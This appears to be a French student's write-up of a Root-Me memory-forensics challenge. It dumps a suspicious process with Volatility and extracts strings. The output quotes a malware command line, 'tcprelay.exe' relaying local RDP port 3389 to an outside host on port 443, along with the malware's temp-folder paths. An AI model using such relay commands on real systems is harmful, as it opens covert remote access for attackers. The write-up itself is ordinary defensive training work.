ROOT-ME - Command & Control niveau 4

J'ai trouvé au niveau 3 le processus qui cachait le virus. C'était le programme au PID **2772** qui executait un programme cmd.exe (PID 1616) qui executait ensuite une connexion vers l'extérieur avec un programme nommé **tcprelay.exe**.

Dump mémoire du virus

Dans un premier temps, je fais un dump de la mémoire du fichier afin d'analyser les strings du fichier par la suite (les informations contenu dans un fichier qui n'est pas un fichier texte).

```
…/IUT/SAE-ROOTME/ch3
❯ volatility -f ch2.dmp --profile=Win7SP1x86_23418 memdump -p 2772 -D ./
Volatility Foundation Volatility Framework 2.6
************************************************************************
Writing iexplore.exe [  2772] to 2772.dmp
```

Analyse des strings du dump mémoire

On sait que le virus ouvrez une connexion grâce au programme tcprelay donc on va chercher s'il y a dans les strings le nom de tcprelay.

```
…/IUT/SAE-ROOTME/ch3
❯ strings 2772.dmp > str_2772

…/IUT/SAE-ROOTME/ch3
❯ cat str_2772 | grep tcprelay
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
tcprelay.c
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeJ"
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeN_
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exeg[j
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
5C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exeg[j
```

On trouve bien l'adresse IP et le port, ici **192.168.0.22:3389** c'est le mot de passe du channel.